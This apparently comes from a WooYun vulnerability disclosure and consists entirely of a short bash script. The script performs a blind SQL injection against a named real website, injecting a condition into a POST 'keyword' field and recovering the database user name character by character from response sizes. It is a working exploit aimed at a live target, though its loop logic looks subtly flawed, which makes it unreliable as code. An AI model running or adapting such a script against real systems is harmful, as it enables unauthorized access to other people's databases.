WooYun.org

#! /bin/sh
#
# abc.sh
#
# Distributed under terms of the MIT license.
#
temp=""
length0=0
table=(- . 0 1 2 3 4 5 6 7 8 9 @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z _ a b c d e f g h i j k l m n o p q r s t u v w x y z)
while True
do
    res=""
    for i in ${table[@]}
    do
        result=$(curl -X POST http://www.ulearning.cn/ulearning_web/web\!course.do -d "keyword=' and user() < '$temp$i' and name like '" 2>/dev/null | wc -c)
        #length=`wc -c hello.txt | awk '{print $1}'`
        if [[ "$result" -gt 50000 ]]; then
            temp=$temp$res
            break
        else
            res=$i
        fi
    done
    length1=${#temp}
    if [ $length1 == $length0 ]; then
        break
    fi
    echo $temp
    length0=$length1
done